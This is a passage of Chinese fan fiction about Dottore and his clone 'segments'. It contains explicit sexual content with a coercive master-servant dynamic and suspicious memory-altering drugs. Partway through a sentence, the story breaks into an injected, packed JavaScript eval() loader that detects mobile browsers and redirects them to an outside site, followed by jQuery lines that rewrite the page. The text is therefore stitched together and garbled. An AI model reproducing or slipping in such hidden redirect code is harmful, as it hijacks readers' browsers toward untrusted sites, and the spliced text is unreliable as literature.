与Alpha切片的这场重逢最终中断于Alpha突然收到的调动消息。
没有任何的征兆,但当我看到Alpha切片的动作突然停顿几秒,随后脸色变得奇差无比的时候,我就明白了。
Alpha切片浑身的气息变得躁动,看上去更像是想酣畅淋漓地把对方骂一遍。
“您要离开了吗?”我直起身,稍微退后两步,看着面前的少年切片。
Alpha切片稍微压抑着心中的怒火。
“又是Omega那个家伙,仗着权限最高就随便使唤人……”少年捏紧了拳头。
看来Alpha切片在须弥的行动十分受限。
我走过去,轻轻地伸手覆上Alpha切片捏紧的拳头。Alpha切片愣了一下,抬头看我的时候我刚好也俯下身去,轻柔地吻在Alpha切片的眼角。
少年的睫毛颤动。
“塔德纳……”
“Alpha大人,我很高兴能够有机会再见到您,在这样的时候……”
在我有些厌倦了以这样的方式继续活着的时候。
这样的话我未能有勇气告诉Alpha切片,甚至我也无法告诉Alpha切片我已经意识到了多托雷以“治疗精神磨损”在我身上试用的药并没有那么简单,只是我现在没有办法脱离困局。
即使知道多托雷不可能那么好心地为我治疗精神磨损,我也只能装作全然信任的样子继续。
我感受着唇瓣下接触到的少年的皮肤,少年翕动的眼球,以及那双情绪总是格外分明的、一直在我身上注视的双眼。
Alpha切片觉察出来一点不对劲。
“等等,塔德纳,你说的话是什么意思?你是不是遇到了什么……”
“Alpha大人。”我打断少年的话音。
Alpha切片噤声。
“Alpha大人。”我喟叹,“别说话,请让我再亲吻您一会儿吧,请让我再多感受一下您的目光吧。”
人在情绪低落和身体状态不佳的情况下总会陷入情绪的怪圈,展现出来与平时截然不同的行为状态。
我想我现在大概也正处于这样的阶段。
Alpha切片估计从未见过这样的我,一下子变得有些不知所措。
少年保持着仰头的姿势,又伸出手臂将我抱住。
“我知道了。”少年的声音有些闷,“我会看着你的,我会一直看着你的。”
无论怎样的相会都终究会有离别的时刻,直到时间快结束,Alpha切片因为不得不离开,松开我一步三回头地离开的时候,我的内心竟然感受到一抹空荡和难受。
多托雷或许是对的。
我与Alpha切片之间的关系已经进展到了完全超过我最开始见到这些切片后为自己制定的红线。一如我当年与Theta切片的相处一样。
可是我明明是将切片同多托雷分开来看待的,我怎么可以对切片,甚至是好几个切片,同时产生了超出我红线范围之外的情绪总量?
我有些不知所措。
最理性的思考来看,我应该及时止损,立刻减少与Alpha切片的相处才对。毕竟,Theta切片的结局还历历在目,我忘了一些事情,但有关Theta切片的一切,那些相处的记忆和Theta死去时的样子,虽然不会再做梦,但主动回想起时依然感到心悸。
我也无法确定现在的状态继续发展下去,多托雷会不会渐渐地使用药物让我“遗忘”一些他不希望我记住的记忆。
毕竟,我能很确定自己在开始服用多托雷给的药物后的这段时间肯定是忘记了什么事情,只是,我的记忆那样繁多,许多实在是连回想的蛛丝马迹也找不到。
回到住处的时候并没有人,我在住所上下两层内外转了一圈,便回浴室洗了个澡。看镜子时里面的人虽然两眼无神,但唇上被咬出的牙印好像是已经消退了。
原来Alpha切片说的没有用力是真的。
我扒着洗手台靠近镜子,几乎要紧贴在上面,手指压着唇上被咬过的地方,一点一点地检查。
咔嗒——
就在我聚精会神地检查的时候,突然的开门声音响起,隔着几道门,显得不太真切。
我还以为是自己听错了,屏息又安静听了一会儿,不一会儿便听到略轻的脚步噔噔上楼,一步一声,因为有地毯的缓冲,也很难听得特别真切。
但我知道,是多托雷回来了。
最后检查一下镜子里自己的样子没什么问题后,我从架子上把浴袍取下,抖落两下穿上,然后光着脚打开门踩出去。
啪——
浴室的门和卧室房门打开的声音重叠在一起,我从浴室里走出来,正好与多托雷的视线对上。
多托雷的目光隔着面具清晰地落在我的身上。
我低下头:“主人。”
“为什么不穿上鞋?”
“……啊?”
在那一瞬间我甚至以为自己幻听了。
但我抬起头,迷茫地看到多托雷走过来,把一双拖鞋放在我的面前。
然后说:“穿上。”
我:“……”
我更茫然了。多托雷以前可从来不会在意这种鸡毛蒜皮的小事。
或许是见我许久没动静,多托雷平淡的声音再次响起。
“怎么不穿?是需要我来帮你穿吗?”
莫名有一种自己是闯入实验室的间谍,然后被作为执行官的多托雷抓住审问,威胁“再不按照我说的做就把刑具塞嘴里”的既视感。
我为自己脑海里突兀出现的场景打了个颤。
“不……我,我马上,主人。”我飞快地把自己的脚伸进鞋子里。
多托雷这下满意了。
“我刚才看了一下,吹风机在楼下,我去给你拿上来。”
我赶紧阻止:“不,不用了。主人,用邪眼就可以了……”
“你现在的身体不能再继续接触邪眼了。我调配了新的药剂,会和邪眼的力量互有冲突。我去拿药和吹风机,你在床上等着吧。”
多托雷完全不给人挣扎和商量的机会。
“多谢……主人。”
我有些艰难地低声道。
然后眼睁睁地看着刚上楼的多托雷又开门下去。
上司给下属跑腿拿东西,任劳任怨。这个上司还是整个至冬都无出其右、出了名的难伺候,性格阴晴不定的多托雷。
我怎么会做这样的梦。
恍惚之间,多托雷已经重新回来了。他一只手拿着吹风机,另一只手拿着一个拳头大小的圆球形玻璃瓶,里面装着浅绿色的液体。
那应该就是新的“药”了。
我感到有些难以呼吸。
多托雷先将药瓶放到床头,然后拿着吹风机走到我的身前,伸手撩起我的头发。
等等,多托雷不会还要亲自给我吹头发吧?!
我被吓得呼吸都快直接断了,伸手想抢过吹风机。
“主人,我自己来,不用麻烦您……”
“安静点,塔德纳。”
“……”
被完全地拒绝了。
我能感受到多托雷打开吹风机的时候甚至感受了一下风力和温度,调整到合适的状态后才撩起我的一部分头发到手上吹起来。
一时间耳边只剩下“呼呼呼”的风声。
热风的温度刚刚好,既不会温度太低无法快速吹干头发,也不会显得太烫。偶尔一部分的热风送到脖颈上的皮肤,吹得人暖呼呼的。
我忍不住有些放松下来。
很正常。养宠物的人也总会定期给家里的宠物洗完澡然后细心地吹干毛发。
我能理解的。
理解……
理解……
理解个屁啊!
多托雷绝对是被夺舍了吧!他怎么可能会突然屈尊降贵地来给我吹头发?
自古只有下人伺候主人的惯例,哪里来的主人服侍下人?
简直就是倒反天罡!
胆战心惊地吹完了头发,风声停下来时刚洗完的澡后背又多了一层薄汗。
我惴惴不安地抬眼看着多托雷把吹风机收好放在一旁,然后过了一会儿,拿着玻璃药瓶回来。
“新的药,喝了吧。”他递给我。
“……”
我接过药,掂量着手中相较前一版更加沉重的药量有些欲哭无泪。
好好好,原来是在这里等着我呢。
这要喝完之后我不会直接变成一个记忆全无的傻子吧?
……
不会吧?
多托雷应该不至于给自己添个傻子放在身边就为了让自己看着不顺眼吧?
嘶……
也不好说。如果以多托雷的智商觉得我就是一个傻子,那他岂不是早就免疫了?我再多傻一点对他也造不成丝毫的影响。
他甚至能接受给“被迫无法行动”的我亲自拿东西和吹头发!思想觉悟如此之深刻!
我越想越乱,越觉得自己喝完这药八成是要栽在这里了,拿着药瓶的手忍不住开始颤抖起来。
“不喝吗?”这是多托雷在问我。
“喝,喝……马上,马上……”我紧张地回答,脑子里成了完全的一片浆糊。
“嗯?塔德纳,你的嘴唇上面……怎么好像被什么东西给咬了?”多托雷突然发出疑问。
“啊?哪有?……”
不,等等,可能还真的有!还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974425|159613||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是Alpha切片咬的!
虽然我自己在镜子前检查的好像是已经消退了,但多托雷的视力是什么水平?我的视力又是什么水平?能比吗?
匆忙之下,我唰地一下打开玻璃瓶的塞子,抬头就把药一股脑地塞进嘴里,味儿都来不及回味就咕咚咕咚地把药全部灌了下去。
只不过喝得太急有些呛到了。
“咳咳咳……”
“慢一点,我又没给你规定喝药的时间。”多托雷在我的耳边说道。一边说一边用手掌拍着我的后背。
趁着咳嗽的时间,我在自己的唇上狠狠地用牙齿压出一排牙印来。
等到咳嗽慢慢停下来,我被多托雷扶着直起腰。多托雷伸手抚着我的侧脸,低头看着我,大拇指停留在离嘴唇很近的地方。
我被看得有些汗流浃背,但还是强装镇定。
“主人,怎么了?”
话刚说完就被多托雷用大拇指按住下半的唇瓣。皮质手套附着的手指并不柔和,带着些力按压下唇的感觉并不很好。
多托雷兴味十足地摩挲着那处唇瓣,过了一会儿,突然嵌入进去,强硬地掰开我的口腔,整个人覆下来,舌头完全闯进去。
“!嗯呜!主……呃啊……”
舌头完全闯进去,把我的舌头卷起来,一起吮吸,纠缠。多托雷掠夺着我的呼吸,啧啧的水声在耳边格外明显。我无法挣扎,却也因为这样的亲吻身体不由自主起来,在我反应过来之前便分开双腿盘在了多托雷腰间。
多托雷一手摸着我的小腿,一手将我的身体放到在床面上。
“看来身体状态比我想象中的好一些,甚至还有余力和精力来想这种事。”
“呜……”我的脸红了一大半。
多是因为害羞,但更多的,其实是为了掩饰内心的惊惶。
为何身体状态会比预料的好一些?为什么身体会突然如此渴望被使用?
因为我白天才去见过Alpha切片。
多托雷会知道这件事吗?
我小心翼翼地观察着多托雷的表情。但那张一半脸都被尖喙面具遮挡住,又能看得出来什么呢?多托雷虽然一般情况下都会同意我在床上摘掉他的面具,但此刻,我突然又生不出来去摘面具的勇气。
如果摘下后发现多托雷完全是一副“我什么都知道”的表情该怎么办?
我几乎是逃避地避开多托雷的视线,即使我知道这样的动作只会增加我的异常程度。
多托雷又压下来,在我的脖颈处用力啃咬吸吮着。
我忍不住挣扎:“疼……面具好疼……”
多托雷停顿了一下,他伸手随意地摘掉脸上的面具,那双总是冷漠的、压迫的猩红色双眼沉重地压下来,将我狼狈的模样尽收眼底。
“张嘴。”多托雷将手伸到我的嘴前。
无需更多的示意,我张开嘴咬着多托雷的手套,那皮质的手套就很快被褪下来,在我的齿间叼着。
多托雷含笑着拍了拍我的脸:“咬紧一点,别弄掉了。”
像是在说嘴里的手套,也像是在暗示其他的地方。
【……】
“主人……主人……”
我揽着多托雷的肩膀去索吻。
多托雷浅浅地受了,和我简单地交换了一个吻,然后让我跪趴在床上,手指伸到我的面前。
“既然使用了,那就清理干净吧。”多托雷笑着看着我。
我如今的姿势像是一只被训练坐在地上的狗狗一样,但我对此没什么感觉。我低下头,伸出舌头去舔多托雷的手指。
如此简单地结束,多托雷甚至从始至终未曾使用。
不过这样也好,至少今晚还能有时间睡个觉。
就在我这样庆幸的时候,我听到多托雷的询问。
“你见到Alpha切片了?”
我的呼吸骤然一紧。
“主人,我……”
多托雷正帮我整理着浴袍准备进浴室简单清理一下。我紧张的反应让他勾起一个笑容。
“我并非要禁止你与Alpha切片见面。不过,塔德纳,想要全身而退的话,那么我会建议你不要接近太多的切片,特别是Omega Build以及……”
“Sigma Build。”
“Sigma Build……”我的眼睛微微睁大。
那个来须弥之前还在至冬时去找过一次的切片,当时连人都没见到,只和Sigma切片身边的下属说了一声。
可是,明明之前多托雷还让我去找过Sigma切片。
Omega切片的危险性不言而喻,可是,Sigma切片到底是为什么?
为什么多托雷会突然如此警告我?